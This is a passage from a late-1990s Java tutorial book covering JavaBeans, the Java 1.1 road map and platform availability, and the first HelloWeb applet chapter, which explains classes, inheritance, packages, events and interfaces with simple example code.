JavaSoft is now working on real media features, which go far beyond anything that has yet been seen on the Web. This includes CD quality sound, 3D animation, media players that synchronize audio and video, speech synthesis and recognition, and more. These new features aren't yet in Java 1.1, but will make their way into Java over the next eighteen months. In short, if you were impressed by Java 1.0, you haven't seen anything yet. Java's multimedia capabilities will be taking shape over the next two years.

New Software Development Models

For some time now, people have been using visual development environments to develop user interfaces. These environments let you generate applications by moving components around on the screen, connecting components to each other, and so on. In short, designing a user interface is a lot more like drawing a picture than like writing code.

For visual development environments to work well, you need to be able to create reusable software components. That's what Java Beans are all about. The JavaBeans architecture defines a way to package software as reusable building blocks. A graphical development tool can figure out a component's capabilities, customize the component, and connect it to other components to build applications. JavaBeans takes the idea of graphical development a step further. Beans aren't limited to visible, user interface components: you can have Beans that are entirely invisible, and whose job is purely computational. For example, you could have a Bean that did database access; you could connect this to a Bean that let the user request information from the database; and you could use another Bean to display the result. Or you could have a set of Beans that implemented the functions in a mathematical library; you could then do numerical analysis by connecting different functions to each other. In either case, you could "write" programs without writing a single line of code. Granted, someone would have to write the Beans in the first place; but that's a much smaller task, and we expect markets to develop for "off the shelf" Bean collections.

Before it can use a Bean, an application builder must find out the Bean's capabilities. There are a few ways it can do this; the simplest is called "reflection". To write a Bean that uses reflection, all you need to do is follow some simple design patterns. Let's say that you're writing a Bean that is capable of changing its color. Then you would write two methods that report the current color and change its value:

...
private Color c;
public Color getMyColor() { return c; }
public void setMyColor( Color c) { this.c = c; }

These methods follow some well defined conventions (design patterns) that let the graphical interface builder (or any other tool that wants to do the work) analyze the Bean, and discover that it has a property called MyColor, that the value of this property is a Color object, and that the methods getMyColor() and setMyColor() should be used to change its value.

If they need to, Beans can provide additional information using a process called "introspection". But even without introspection, you can see that a graphical development tool can easily analyze a Bean, figure out what it can do, and let a user change the Bean's properties without writing any code.

Of course, once a development tool has customized a Bean and connected it to other Beans, it needs a way to save the result. A process called "serialization" lets a tool save the Bean's current state, along with any extra code it has written to stitch Beans together in an application.

Visual development tools that support Java Beans include Borland's JBuilder (http://www.borland.com), Symantec's Visual Cafe (http://www.symantec.com), and SunSoft's Java Workshop. By using a "bridge", Java Beans will be able to interact with other component environments, including ActiveX, OpenDoc, and LiveConnect. A beta version of the ActiveX bridge is currently available.

Previous | Home | Next
Application and User Level Security | Book Index | Java as a General Application Language
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] 1.8 Java as a General Application Language

Previous Chapter 1
Yet Another Language? 		Next

1.8 Java as a General Application Language

The Java applet API is a framework that allows Java-enabled Web browsers to manage and display embedded Java applications within WWW documents. However, Java is more than just a tool for building transportable multimedia applications. Java is a powerful, general-purpose programming language that just happens to be safe and architecture independent. Standalone Java applications are not subject to the restrictions placed on applets; they can do all activities that software written in a language like C does.

Any software that implements the Java run-time system can run Java applications. Applications written in Java can be large or small, standalone or component-like, as in other languages. Java applets are different from other Java applications only in that they expect to be managed by a larger application. In this book, we will build examples of both applets and standalone Java applications. With the exception of the few things applets can't do, such as access files, all of the tools we examine in this book apply to both applets and standalone Java applications.

Previous | Home | Next
Java and the World Wide Web | Book Index | A Java Road Map
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] 1.9 A Java Road Map

Previous Chapter 1
Yet Another Language? 		Next

1.9 A Java Road Map

With everything that's going on, it's hard to keep track of what's available now, what's promised, and what has been around for some time. Here's a road map that tries to impose some order on Java's past, present, and future.

The Past: Java 1.0

Java 1.0 provided the basic framework for Java development: the language itself, plus packages that let you write applets and simple applications. Java 1.0 is officially obsolete, though it will be some time before vendors catch up with the new release.

The Present: Java 1.1

Java 1.1 is the current version of Java. It incorporates major improvements in the AWT package (Java's windowing facility). It also adds many completely new features, including:

JDBC

A general facility for interacting with databases.

RMI

Remote Method Invocation: a facility that lets you call methods that are provided by a server running somewhere else on the network.

JavaBeans

Java's component architecture, which we discussed earlier.

Security

A facility for cryptography; this is the basis for signed classes, which we discussed earlier.

Internationalization

The ability to write programs that adapt themselves to the language the user wants to use; the program automatically displays text in the appropriate language.

Java 1.1 incorporates many other improvements and new features, but these are the most important. As of May, 1997, most Web browsers haven't yet incorporated Java 1.1, but they will as soon as possible. In this book, we'll try to give you a taste of as many features as possible; unfortunately for us, the Java environment has become so rich that it's impossible to cover everything in a single book.

The Future

We've mentioned a few of the things that are in the pipeline, including high quality audio, advanced 3D rendering, and speech synthesis. Other things to look forward to are class libraries for advanced 2D graphics (Java 2D), electronic commerce (JECF), managing network devices (Java Management), naming and directory services (JNDI), telephony (JTAPI), and writing network servers (Java Server). Beta versions of some of these facilities are available now.

We're also starting to see new kinds of computing devices that incorporate Java. Network computers that are based on Java and use the HotJava browser as their user interface are already available, as are "smart cards": credit card-like devices with a Java processor built in. You can expect to see Java incorporated into PDAs, telephones, and many other devices.

Previous | Home | Next
Java as a General Application Language | Book Index | Availability
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] 1.10 Availability

Previous Chapter 1
Yet Another Language? 		Next

1.10 Availability

By the time you read this book, you should have several choices for Java development environments and run-time systems. As this book goes to press, Sun's Java Development Kit (JDK) 1.1 is available for Solaris, Windows NT, and Windows 95. The JDK provides an interpreter and a compiler for building general-purpose Java applications. A beta version of JDK 1.1 for the Macintosh will be available later in 1997. Visit Sun's Java Web site, http://www.javasoft.com/ for more information about the JDK. There are also a number of JDK ports for various platforms. Some of the most significant platforms are Novell, HP-UX, OSF/1 (including Digital UNIX), Silicon Graphics' IRIX, and Linux. For more information, see the Web pages maintained by the vendor you're interested in. JavaSoft maintains a Web page summarizing porting efforts at http://www.javasoft.com/products/jdk/jdk-ports.html. Another good source for current information is the Java FAQ from the comp.lang.java newsgroup.

There are efforts under way to produce a free clone of Java, redistributable in source form. The Java Open Language Toolkit (JOLT) Project is working to assemble a high-quality Java implementation that will pass Sun's validation tests and earn a Java stamp. The JOLT Project Web page is accessible from http://www.redhat.com/.

The Netscape Navigator Web browser comes with its own implementation of the Java run-time system that runs Java applets. Netscape also provides a -java switch that lets you execute Java applications (including the Java compiler) and applets and run nongraphical applications. Netscape's Web site is located at http://home.netscape.com/. Check there for information on the latest version of Netscape Navigator.

Previous | Home | Next
A Java Road Map | Book Index | A First Applet
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] A First Applet

Previous Chapter 2 Next

2. A First Applet

Contents:
Hello Web!
Hello Web! II: The Sequel
Hello Web! III: The Button Strikes!
Hello Web! IV: Netscape's Revenge

Before we turn our attention to the details of the language, let's take a crash course and jump right into some Java code. In this chapter, we'll build a contrived but friendly little applet that illustrates a number of techniques we use throughout the book. I'll take this opportunity to introduce general features of the Java language and of Java applets. However, many details won't be fleshed out here, but in subsequent chapters.

This chapter also serves as a brief introduction to the object-oriented and multithreaded features of Java. If these concepts are new to you, you can take comfort in the knowledge that encountering them for the first time in Java should be a straightforward and pleasant experience. If you have worked with another object-oriented or multithreaded programming environment, clear your mind; you will especially appreciate Java's simplicity and elegance.

I can't stress enough the importance of experimentation as you learn new concepts. If you follow along with the online examples, be sure to take some time and compile them locally. Play with them; change their behavior, break them, fix them, and, as Java developer Arthur van Hoff would say: "Have fun!"

2.1 Hello Web!

In the tradition of all good introductory programming texts, we begin with Java's equivalent of the archetypal "Hello World" application. In the spirit of our new world, we'll call it "Hello Web!"

I'll take four passes at this example, adding features and introducing new concepts along the way. Here's a minimalist version:

public class HelloWeb extends java.applet.Applet {
    public void paint( java.awt.Graphics gc ) {
        gc.drawString("Hello Web!", 125, 95 );
    }
}

Place this text in a file called HelloWeb.java. Now compile this source:

% javac HelloWeb.java

This produces the Java byte-code binary class file HelloWeb.class.

We need an HTML document that contains the appropriate <applet> tag to display our example. Place the following text in a file called HelloWeb.html in the same directory as the binary class file:

<html>
<head>
</head>
<body>
    <applet code=HelloWeb width=300 height=200></applet>
</body>
</html>

Finally, you can point your Java-enabled Web browser at this document with a URL such as:

http://yourServer/wherever/HelloWeb.html

or

file:/wherever/HelloWeb.html

You should see the proclamation shown in Figure 2.1. Now congratulate yourself: you have written your first applet! Take a moment to bask in the glow of your monitor.

Figure 2.1: Hello Web! applet

[Graphic: Figure 2-1]

HelloWeb may be a small program, but there is actually quite a bit going on behind the scenes. Those five lines represent the tip of an iceberg. What lies under the surface are layers of functionality provided by the Java language and its foundation class libraries. In this chapter, I'll cover a lot of ground quickly in an effort to show you the big picture. I'll try to offer enough detail for a complete understanding of what is happening in each example without exhaustive explanations until the appropriate chapters. This holds for both elements of the Java language and the object-oriented concepts that apply to them. Later chapters will provide more detailed cataloging of Java's syntax, components, and object-oriented features.

Classes

The previous example defines a class named HelloWeb. Classes are the fundamental building blocks of most object-oriented languages. A class in Java is akin to the C++ concept of a class. Specifically, it's a group of data items (à la a C struct), with associated functions that perform operations on this data. The data items in a class are called fields or variables ; the functions are called methods. A class might represent something concrete, like a button on a screen or the information in a spreadsheet, or it could be something more abstract, such as a sorting algorithm or possibly the sense of ennui in your MUD character. A hypothetical spreadsheet class might, for example, have variables that represent the values of its individual cells and methods that perform operations on those cells, such as "clear a row" or "compute values."

Our HelloWeb class is the container for our Java applet. It holds two general types of variables and methods: those we need for our specific applet's tasks and some special predesignated ones we provide to interact with the outside world. The Java run-time environment, in this case a Java-enabled Web browser, periodically calls methods in HelloWeb to pass us information and prod us to perform actions, as depicted in Figure 2.2. Our simple HelloWeb class defines a single method called paint(). The paint() method is called by Java when it's time for our application to draw itself on the screen.

Figure 2.2: Method invocation in the Java environment

[Graphic: Figure 2-2]

You will see that the HelloWeb class derives some of its structure from another class called Applet. This is why we refer to HelloWeb as an applet.

Class Instances and Objects

A class represents a particular thing; it contains methods and variables that assist in that representation. Many individual working copies of a given class can exist while an application is active. These individual incarnations are called instances of the class. Two instances of a given class may contain different states, but they always have the same methods.

As an example, consider a Button class. There is only one Button class, but many actual working instances of buttons can be in an application. Furthermore, two Button instances might contain different data, perhaps giving each a different appearance or specifying a different message for each to send when pushed. In this sense, a class can be considered a mold for making the object it represents: something like a cookie cutter stamping out working instances of itself in the memory of the computer. As you'll see later, there's a bit more to it than that--a class can in fact share information among its instances--but this explanation suffices for now.

The term object is very general and in some other contexts is used almost interchangeably with class. Objects are the abstract entities all object-oriented languages refer to in one form or another. I will use object as a generic term for an instance of a class. I might, therefore, refer to an instance of the Button class as a Button, a Button object, or, indiscriminately, as an object.

A Java-enabled Web browser creates an instance of our HelloWeb class when we first use our applet. If we had included the HelloWeb applet tag in our HTML document twice (causing it to appear twice on the screen), the browser would create and manage two separate HelloWeb objects (two separate instances of the HelloWeb class).

Variables

In Java, every class defines a new type. A variable can be of this type and then hold instances of that class. A variable could, for example, be of type Button and hold an instance of the Button class, or of type SpreadSheetCell and hold a SpreadSheetCell object, just as it could be any of the more familiar types such as integer or float. In this way, by having variables containing complex objects, a class may use other classes as tools within itself. Using classes in this way is called composition. Our examples in this chapter are somewhat unrealistic in that we are building only a single class of our own. However, we will be using many classes as tools within our applet.

You have seen only one variable so far in our simple HelloWeb example. It's found in the declaration of our lonely paint() method:

public void paint( java.awt.Graphics gc ) {...}

Just like functions in C (and many other languages), a method in Java declares a list of variables that hold its arguments, and it specifies the types of those arguments. Our paint() method takes one argument named (somewhat tersely) gc, which is of type Graphics. When the paint() method is invoked, a Graphics object is assigned to gc, which we use in the body of the method. I'll say more about paint() and the Graphics class in a moment.

But first, a few words about variables. I have loosely referred to variables as holding objects. In reality, variables that have complex types (class types) don't so much contain objects as point to them. Class-type variables are references to objects. A reference is a pointer to, or another name for, an object.

Simply declaring a variable doesn't imply that any storage is allocated for that variable or that an instance of its type even exists anywhere. When a reference-type variable is first declared, if it's not assigned to an instance of a class, it doesn't point to anything. It's assigned the default value of null, meaning "no value." If you try to use a variable with a null value as if it were pointing to a real object, a run-time error (NullPointerException) occurs.

This discussion begs the question as to where to get an instance of a class to assign to a variable in the first place. The answer, as you will see later, is through the use of the new operator. In our first two passes at this example, we are dealing only with objects handed to us prefabricated from somewhere outside of our class. We examine object creation later in the chapter.

Inheritance

Java classes are arranged in a parent-child hierarchy, in which the parent and child are known as the superclass and subclass, respectively. In Java, every class has exactly one superclass (a single parent), but possibly many subclasses. Of course, a class's superclass probably has its own superclass.

The declaration of our class in the previous example uses the keyword extends to specify that HelloWeb is a subclass of the Applet class:

public class HelloWeb extends java.applet.Applet {...}

A subclass may be allowed to inherit some or all of the variables and methods of its superclass. Through inheritance, the subclass can use those members as if it has declared them itself. A subclass can add variables and methods of its own, and it can also override the meaning of inherited variables and methods. When we use a subclass, overridden variables and methods are hidden (replaced) by the subclass's own versions of them. In this way, inheritance provides a powerful mechanism whereby a subclass can refine or extend its superclass.

For example, the hypothetical spreadsheet class might be subclassed to produce a new scientific spreadsheet class with extra mathematical functions and special built-in constants. In this case, the source code for the scientific spreadsheet might declare methods for the added mathematical functions and variables for the special constants, but the new class automatically has all the variables and methods that constitute the normal functionality of a spreadsheet; they are inherited from the parent spreadsheet class. This means the scientific spreadsheet maintains its identity as a spreadsheet, and we can use it anywhere the simpler spreadsheet is used.

Our HelloWeb class is a subclass of the Applet class and inherits many variables and methods not explicitly declared in our source code. These members function in the same way as the ones we add or override.

Applet

The Applet class provides the framework for building applets. It contains methods that support the basic functionality for a Java application that is displayed and controlled by a Java-enabled Web browser or other Java-enabled software.

We override methods in the Applet class in a subclass to implement the behavior of our particular applet. This may sound restrictive, as if we are limited to some predefined set of routines, but that is not the case at all. Keep in mind that the methods we are talking about are means of getting information from the outside world. A realistic application might involve hundreds or even thousands of classes, with legions of methods and variables and multiple threads of execution. The vast majority of these are related to the particulars of our job. The inherited methods of the Applet class, and of other special components, serve as a framework on which to hang code that handles certain types of events and performs special tasks.

The paint() method is an important method of the Applet class; we override it to implement the way in which our particular applet displays itself on the screen. We don't override any of the other inherited members of Applet because they provide basic functionality and reasonable defaults for this (trivial) example. As HelloWeb grows, we'll delve deeper into the inherited members and override additional methods. Inherited members will allow us to get information from the user and give us more control over what our applet does. We will also add some arbitrary, application-specific methods and variables for the needs of HelloWeb.

If you want to verify for yourself what functionality the Applet class is providing our example, you can try out the world's least interesting applet: the Applet base class itself. Just use the class name java.applet.Applet in your HTML code, instead of HelloWeb:

<applet code=java.applet.Applet width=300 height=200></applet>

You should get a blank area of screen. I told you it's not very interesting.

Relationships and Finger Pointing

We can correctly refer to HelloWeb as an Applet because subclassing can be thought of as creating an "is a" relationship, in which the subclass is a kind of its superclass. HelloWeb is therefore a kind of Applet. When we refer to a kind of object, we mean any instance of that object's class or any of its subclasses. Later, we will look more closely at the Java class hierarchy and see that Applet is itself a subclass of the Panel class, which is further derived from a class called Container, and so on, as shown in Figure 2.3.

Figure 2.3: Part of the Java class hierarchy

[Graphic: Figure 2-3]

In this sense, an Applet is a kind of Panel, which is, itself, a kind of Container and each of these can ultimately be considered to be a kind of Component. You'll see later that it's from these classes that Applet inherits its basic graphical user interface functionality and the ability to have other graphical components embedded within it.

Component is a subclass of Object, so all of these classes are a kind of Object. As you'll see later, the Object class is at the top of the Java class hierarchy; Object doesn't have a superclass. Every other class in the Java API inherits behavior from Object, which defines a few basic methods, as you'll see in Chapter 5, Objects in Java. The terminology here can become a bit muddled. I'll continue to use the word "object" (lowercase o) in a generic way to refer to an instance of any class; I'll use Object to refer specifically to that class.

Packages

In our previous example, the Applet class is referenced by its fully qualified name java.applet.Applet:

public class HelloWeb extends java.applet.Applet {...}

The prefix on the class name identifies it as belonging to the java.applet package. Packages provide a means for organizing Java classes. A package is a group of Java classes that are related by purpose or by application. Classes in the same package have special access privileges with respect to one another and may be designed to work together. Package names are hierarchical and are used somewhat like Internet domain and host names, to distinguish groups of classes by organization and application. Classes may be dynamically loaded over networks from arbitrary locations; within this context, packages provide a crude namespace of Java classes.[1]

[1] There are many efforts under way to find a general solution to the problem of locating resources in a globally distributed computing environment. The Uniform Resource Identifier Working Group of the IETF has proposed Uniform Resource Names (URNs). A URN would be a more abstract and persistent identifier that would be resolved to a URL through the use of a name service. We can imagine a day when there will exist a global namespace of trillions of persistent objects forming the infrastructure for all computing resources. Java provides an important evolutionary step in this direction.

java.applet identifies a particular package that contains classes related to applets. java.applet.Applet identifies a specific class, the Applet class, within that package. The java. hierarchy is special. Any package that begins with java. is part of the core Java API and is available on any platform that supports Java. Figure 2.4 illustrates the core Java packages, showing a representative class or two from each package.

Figure 2.4: The core Java packages

[Graphic: Figure 2-4]

Some notable core packages include: java.lang, which contains fundamental classes needed by the Java language itself; java.awt, which contains classes of the Java Abstract Windowing Toolkit; and java.net, which contains the networking classes.

A few classes contain methods that are not written in Java, but are instead part of the native Java implementation on a particular platform. Approximately 22 such classes are in the java package hierarchy; these are the only classes that have to be ported to a new platform. They form the basis for all interaction with the operating system. All other classes are built on or around these and are completely platform independent.

The paint( ) Method

The source for our HelloWeb class defines just one method, paint(), which overrides the paint() method from the Applet class:

public void paint( java.awt.Graphics gc ) {
    gc.drawString("Hello Web!", 125, 95 );
}

The paint() method is called by Java when it's time for our applet to draw itself on the screen. It takes a single argument, a Graphics object, and doesn't return any type of value (void) to its caller.

Modifiers are keywords placed before classes, variables, and methods to alter their accessibility, behavior, or semantics. paint() is declared as public, which means it can be invoked (called) by methods in classes other than HelloWeb. In this case, it's the Java windowing environment that is calling our paint() method. A method or variable declared as private is inaccessible from outside of its class.

The Graphics object, an instance of the Graphics class, represents a particular graphical drawing area and is also called a graphics context. It contains methods the applet calls to draw in this area, and variables that represent characteristics such as clipping or drawing modes. The particular Graphics object we are passed in the paint() method corresponds to our applet's area of the screen.

The Graphics class provides methods for rendering primitive shapes, images, and text. In HelloWeb, we invoke the drawString() method of our Graphics object to scrawl our message at the specified coordinates. (For a description of the methods available in the Graphics class, see Chapter 13, Drawing With the AWT.)

As in C++, a method or variable of an object is accessed in a hierarchical way by appending its name with a "." (dot) to the object that holds it. We invoked the drawString() method of the Graphics object (referenced by our gc variable) in this way:

gc.drawString( "Hello Web!", 125, 95 );

You may need to get used to the idea that our application is drawn by a method that is called by an outside agent at arbitrary times. How can we do anything useful with this? How do we control what gets done and when? These answers will be forthcoming. For now, just think about how you would structure applications that draw themselves on command.

Previous | Home | Next
Availability | Book Index | Hello Web! II: The Sequel
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] 2.2 Hello Web! II: The Sequel

Previous Chapter 2
A First Applet 		Next

2.2 Hello Web! II: The Sequel

Let's make our applet a little more interactive, shall we? The following improvement, HelloWeb2, allows us to drag the message around with the mouse. HelloWeb2 is also customizable. It takes the text of its message from a parameter of the <applet> tag of the HTML document.

HelloWeb2 is a new applet--another subclass of the Applet class. In that sense, it's a sibling of HelloWeb. Having just seen inheritance at work, you might wonder why we aren't creating a subclass of HelloWeb and exploiting inheritance to build upon our previous example and extend its functionality. Well, in this case, that would not necessarily be an advantage, and for clarity we simply start over.[2] Here is HelloWeb2:

[2] You are left to consider whether such a subclassing would even make sense. Should HelloWeb2 really be a kind of HelloWeb? Are we looking for refinement or just code reuse?

import java.applet.Applet;
import java.awt.*;
import java.awt.event.*;
public class HelloWeb2 extends Applet implements MouseMotionListener {
    int messageX = 125, messageY = 95;
    String theMessage;

    public void init() {
        theMessage = getParameter("message");
        addMouseMotionListener(this);
    }

    public void paint( Graphics graphics ) {
        graphics.drawString( theMessage, messageX, messageY );
    }
    public void mouseDragged( MouseEvent e ) {
        messageX = e.getX();
        messageY = e.getY();
        repaint();
    }
    public void mouseMoved( MouseEvent e ) { }
}

Place the text of this example in a file called HelloWeb2.java and compile it as before. You should get a new class file, HelloWeb2.class, as a result. We need to create a new <applet> tag for HelloWeb2. You can either create another HTML document (copy HelloWeb.html and modify it) or simply add a second <applet> tag to the existing HelloWeb.html file. The <applet> tag for HelloWeb2 has to use a parameter; it should look like:

<applet code=HelloWeb2 width=300 height=200>
<param name="message" value="Hello Web!" >
</applet>

Feel free to substitute your own salacious comment for the value of message.

Run this applet in your Java-enabled Web browser, and enjoy many hours of fun, dragging the text around with your mouse.

Import

So, what have we added? First you may notice that a few lines are now hovering above our class:

import java.applet.Applet;
import java.awt.*;
import java.awt.event.*;
public class HelloWeb2 extends Applet implements MouseMotionListener {
...

The import statement lists external classes to use in this file and tells the compiler where to look for them. In our first HellowWeb example, we designated the Applet class as the superclass of HelloWeb. Applet was not defined by us and the compiler therefore had to look elsewhere for it. In that case, we referred to Applet by its fully qualified name, java.applet.Applet, which told the compiler that Applet belongs to the java.applet package so it knew where to find it.

The import statement is really just a convenience; by importing java.applet.Applet in our newer example, we tell the compiler up front we are using this class and, thereafter in this file, we can simply refer to it as Applet. The second import statement makes use of the wildcard "*" to tell the compiler to import all of the classes in the java.awt package. But don't worry, the compiled code doesn't contain any excess baggage. Java doesn't do things like that. In fact, compiled Java classes don't contain other classes at all; they simply note their relationships. Our current example uses only the java.awt.Graphics class. However, we are anticipating using several more classes from this package in the upcoming examples. We also import all the classes from the package java.awt.event; these classes provide the Event objects that we use to communicate with the user. By listening for events, we find out when the user moved the mouse, clicked a button, and so on. Notice that importing java.awt.* doesn't automatically import the event package. The star only imports the classes in a particular package, not other packages.

The import statement may seem a bit like the C or C++ preprocessor #include statement, which injects header files into programs at the appropriate places. This is not true; there are no header files in Java. Unlike compiled C or C++ libraries, Java binary class files contain all necessary type information about the classes, methods, and variables they contain, obviating the need for prototyping.

Instance Variables

We have added some variables to our example:

public class HelloWeb2 extends Applet {
    int messageX = 125, messageY = 95;
    String theMessage;
...

messageX and messageY are integers that hold the current coordinates of our movable message. They are initialized to default values, which should place a message of our length somewhere near the center of the applet. Java integers are always 32-bit signed numbers. There is no fretting about what architecture your code is running on; numeric types in Java are precisely defined. The variable theMessage is of type String and can hold instances of the String class.

You should note that these three variables are declared inside the braces of the class definition, but not inside any particular method in that class. These variables are called instance variables because they belong to the entire class, and copies of them appear in each separate instance of the class. Instance variables are always visible (usable) in any of the methods inside their class. Depending on their modifiers, they may also be accessible from outside the class.

Unless otherwise initialized, instance variables are set to a default value of 0 (zero), false, or null. Numeric types are set to zero, boolean variables are set to false, and class type variables always have their value set to null, which means "no value." Attempting to use an object with a null value results in a run-time error.

Instance variables differ from method arguments and other variables that are declared inside of a single method. The latter are called local variables. They are effectively private variables that can be seen only by code inside the method. Java doesn't initialize local variables, so you must assign values yourself. If you try to use a local variable that has not yet been assigned a value, your code will generate a compile-time error. Local variables live only as long as the method is executing and then disappear (which is fine since nothing outside of the method can see them anyway). Each time the method is invoked, its local variables are recreated and must be assigned values.

Methods

We have made some changes to our previously stodgy paint() method. All of the arguments in the call to drawString() are now variables.

Several new methods have appeared in our class. Like paint(), these are methods of the base Applet class we override to add our own functionality. init() is an important method of the Applet class. It's called once, when our applet is created, to give us an opportunity to do any work needed to set up shop. init() is a good place to allocate resources and perform other activities that need happen only once in the lifetime of the applet. A Java-enabled Web browser calls init() when it prepares to place the Applet on a page.

Our overridden init() method does two things; it sets the text of the theMessage instance variable, and it tells the system "Hey, I'm interested in anything that happens involving the mouse":

public void init() {
    theMessage = getParameter("message");
    addMouseMotionListener(this);
}

When an applet is instantiated, the parameters given in the <applet> tag of the HTML document are stored in a table and made available through the getParameter() method. Given the name of a parameter, this method returns the value as a String object. If the name is not found, it returns a null value.

So what, you may ask, is the type of the argument to the getParameter() method? It, too, is a String. With a little magic from the Java compiler, quoted strings in Java source code are turned into String objects. A bit of funny-business is going on here, but it's simply for convenience. (See Chapter 7, Basic Utility Classes for a complete discussion of the String class.)

getParameter() is a public method we inherited from the Applet class. We can use it from any of our methods. Note that the getParameter() method is invoked directly by name; there is no object name prepended to it with a dot. If a method exists in our class, or is inherited from a superclass, we can call it directly by name.

In addition, we can use a special read-only variable, called this, to explicitly refer to our object. A method can use this to refer to the instance of the object that holds it. The following two statements are therefore equivalent:

theMessage = getParameter("message");

or

theMessage = this.getParameter("message");

I'll always use the shorter form. We will need the this variable later when we have to pass a reference to our object to a method in another class. We often do this so that methods in another class can give us a call back later or can watch our public variables.

The other method that we call in init() is addMouseMotionListener(). This method is part of the event mechanism, which we discuss next.

Events

The last two methods of HelloWeb2 let us get information from the mouse. Each time the user performs an action, such as hitting a key on the keyboard, moving the mouse, or perhaps banging his or her head against a touch-sensitive screen, Java generates an event. An event represents an action that has occurred; it contains information about the action, such as its time and location. Most events are associated with a particular graphical user interface (GUI) component in an application. A keystroke, for instance, could correspond to a character being typed into a particular text entry field. Pressing a mouse button could cause a certain graphical button on the screen to activate. Even just moving the mouse within a certain area of the screen could be intended to trigger effects such as highlighting or changing the cursor to a special mouse cursor.

The way events work is one of the biggest changes between Java 1.0 and Java 1.1. We're going to talk about the Java 1.1 events only; they're a big improvement, and there's no sense in learning yesterday's news. In Java 1.1, there are many different event classes: MouseEvent, KeyEvent, ActionEvent, and many others. For the most part, the meaning of these events is fairly intuitive. A MouseEvent occurs when the user does something with the mouse, a KeyEvent occurs when the user types a key, and so on. ActionEvent is a little special; we'll see it at work in our third applet. For now, we'll focus on dealing with a MouseEvent.

The various GUI components in Java generate events. For example, if you click the mouse inside an applet, the applet generates a mouse event. (In the future, we will probably see events as a general purpose way to communicate between Java objects; for the moment, let's limit ourselves to the simplest case.) In Java 1.1, any object can ask to receive the events generated by some other component. We call the object that wants to receive events a "listener." To declare that it wants to receive some component's mouse motion events, you call that component's addMouseMotionListener() method. That's what our applet is doing in init(). In this case, the applet is calling its own addMouseMotionListener() method, with the argument this, meaning "I want to receive my own mouse motion events." (For the time being, we're ignoring a minor distinction between "mouse events" and "mouse motion events." Suffice it to say that in this example, we only care about mouse motions.)

That's how we register to receive events. But how do we actually get them? That's what the two remaining methods in our applet are for. The mouseDragged() method is called automatically whenever the user drags the mouse--that is, moves the mouse with any button pressed. The mouseMoved() method is called whenever the user moves the mouse without pressing a button. Our mouseMoved() method is simple: it doesn't do anything. We're ignoring simple mouse motions.

mouseDragged() has a bit more meat to it. It is called repeatedly to give us updates on the position of the mouse. Here it is:

    public void mouseDragged( MouseEvent e ) {
        messageX = e.getX();
        messageY = e.getY();
        repaint();
    }

The first argument to mouseDragged() is a MouseEvent object, e, that contains all the information we need to know about this event. We ask the MouseEvent to tell us the x and y coordinates of the mouse's current position by calling its getX() and getY() methods. These are saved in the messageX and messageY instance variables. Now, having changed the coordinates for the message, we would like HelloWeb2 to redraw itself. We do this by calling repaint(), which asks the system to redraw the screen at a later time. We can't call paint() directly because we don't have a graphics context to pass to it.

The real beauty of this event model is that you only have to handle the kinds of events you want. If you don't care about keyboard events, you just don't register a listener for them; the user can type all he or she wants, and you won't be bothered. Java doesn't go around asking potential recipients whether they might be interested in some event, as it did in older versions. If there are no listeners for a particular kind of event, Java won't even generate it. The result is that event handling in Java 1.1 is quite efficient.

I've danced around one question that should be bothering you by now: how does the system know to call mouseDragged() and mouseMoved()? And why do we have to supply a mouseMoved() method that doesn't do anything? The answer to these questions has to do with "interfaces." We'll discuss interfaces after clearing up some unfinished business with repaint().

The repaint() Method

We can use the repaint() method of the Applet class to request our applet be redrawn. repaint() causes the Java windowing system to schedule a call to our paint() method at the next possible time; Java supplies the necessary Graphics object, as shown in Figure 2.5.

Figure 2.5: Invoking the repaint() method

[Graphic: Figure 2-5]

This mode of operation isn't just an inconvenience brought about by not having the right graphics context handy at the moment. The foremost advantage to this mode of operation is that the repainting is handled by someone else, while we are free to go about our business. The Java system has a separate, dedicated thread of execution that handles all repaint() requests. It can schedule and consolidate repaint() requests as necessary, which helps to prevent the windowing system from being overwhelmed during painting-intensive situations like scrolling. Another advantage is that all of the painting functionality can be kept in our paint() method; we aren't tempted to spread it throughout the application.

Interfaces

Now it's time to face up to the question I avoided earlier: how does the system know to call mouseDragged() when a mouse event occurs? Is it simply a matter of knowing that mouseDragged() is some magic name that our event handling method must have? No; the answer to the question lies in the discussion of interfaces, which are one of the most important features of the Java language.

The first sign of an interface comes on the line of code that introduces the HelloWeb2 applet: we say that the applet implements MouseMotionListener. MouseMotionListener is an interface that the applet implements. Essentially, it's a list of methods that the applet must have; this particular interface requires our applet to have methods called mouseDragged() and mouseMoved(). The interface doesn't say what these methods have to do--and indeed, mouseMoved() doesn't do anything. It does say that the methods must take a MouseEvent as an argument and return void (i.e., no return value).

Another way of looking at an interface is as a contract between you, the code developer, and the compiler. By saying that your applet implements the MouseMotionListener interface, you're saying that these methods will be available for other parts of the system to call. If you don't provide them, the compiler will notice and give you an error message.

But that's not the only impact interfaces have on this program. An interface also acts like a class. For example, a method could return a MouseMotionListener, or take a MouseMotionListener as an argument. This means that you don't care about the object's class; the only requirement is that the object implement the given interface. In fact, that's exactly what the method addMouseMotionListener() does. If you look up the documentation for this method, you'll find that it takes a MouseMotionListener as an argument. The argument we pass is this, the applet itself. The fact that it's an applet is irrelevant, it could be a Cookie, an Aardvark, or any other class we dream up. What is important is that it implements MouseMotionListener, and thus declares that it will have the two named methods. That's why we need a mouseMoved() method, even though the one we supplied doesn't do anything: the MouseMotionListener interface says we have to have one.

In other languages, you'd handle this problem by passing a function pointer; for example, in C, the argument to addMouseMotionListener() might be a pointer to the function you want to have called when an event occurs. This technique is called a "callback." For security reasons, the Java language has eliminated function pointers. Instead, we use interfaces to make contracts between classes and the compiler. (Some new features of the language make it easier to do something similar to a callback, but that's beyond the present discussion.)

The Java distribution comes with many interfaces that define what classes have to do in various situations. Furthermore, in Chapter 5, Objects in Java, you'll see how to define your own interfaces. It turns out that this idea of a contract between the compiler and a class is very important. There are many situations like the one we just saw, where you don't care what class something is, you just care that it has some capability, like listening for mouse events. Interfaces give you a way of acting on objects based on their capabilities, without knowing or caring about their actual type.

